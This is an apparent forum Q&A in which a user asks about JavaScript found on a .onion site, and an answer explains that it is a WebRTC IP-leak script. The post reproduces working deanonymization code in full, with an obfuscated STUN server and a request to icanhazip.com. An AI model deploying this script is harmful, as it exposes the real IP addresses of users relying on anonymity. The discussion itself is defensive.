Is this JavaScript code dangerous?

Question

I found this on a deepweb link. It looks like a bunch of random code, doesn't seem like it could do anything.. 7f7t73zmv3py5lfq.onion

function log(msg) {
document.getElementsByTagName("pre")[0].textContent += "\n" + msg;
}

function getIPs(callback){
var ip_dups = {};

//compatibility for firefox and chrome
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
if(!RTCPeerConnection) {
var iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);
var win = iframe.contentWindow;
window.RTCPeerConnection = win.RTCPeerConnection;
window.mozRTCPeerConnection = win.mozRTCPeerConnection;
window.webkitRTCPeerConnection = win.webkitRTCPeerConnection;
RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
}
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};

var servers = undefined;

if(window.webkitRTCPeerConnection)
servers = {iceServers: [{urls: "\x73\x74\x75\x6e\x3a\x73\x74\x75\x6e\x2e\x73\x65\x72\x76\x69\x63\x65\x73\x2e\x6d\x6f\x7a\x69\x6c\x6c\x61\x2e\x63\x6f\x6d"}]};

//construct a new RTCPeerConnection
var pc = new RTCPeerConnection(servers, mediaConstraints);

//listen for candidate events
pc.onicecandidate = function(ice){
//skip non-candidate events
if(ice.candidate){
//match just the IP address
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];

//remove duplicates
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);

ip_dups[ip_addr] = true;
}
};

//create a bogus data channel
pc.createDataChannel("");

//create an offer sdp
pc.createOffer(function(result){
//trigger the stun server request
log("[*] triggering stun deanonymization...");
pc.setLocalDescription(result, function(){}, function(){});
}, function(){});
}

(function() {
var memory = localStorage.getItem("x");
var ips = memory ? JSON.parse(memory) : [];

var learn = function(ip) {
if(ip && ips.indexOf(ip) < 0) {
ips.push(ip);
localStorage.setItem("x", JSON.stringify(ips));
log("[+] learned ip: " + ip);
}
};

if(ips.length) {
log("[*] querying memorized ips...");
ips.forEach(function(ip) {
log("[+] found ip: " + ip);
});
}

try {
(function(cb) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState == 4) {
cb(xhr.responseText.trim());
}
};
xhr.open("GET", "https://icanhazip.com/", true);
log("[*] triggering cors deanonymization...");
xhr.send(null);
})(learn);
} catch(e) {}

getIPs(learn);
})();

Answer 1

It looks like it attempts to learn your IP address via a WebRTC connection. That this is possible was reported a while ago, but it never affected TorBrowser users as WebRTC is disabled in TorBrowser. So, the js is not dangerous if you use Tor in the recommended way. If you don't, it is rather likely it'll leak your real IP address.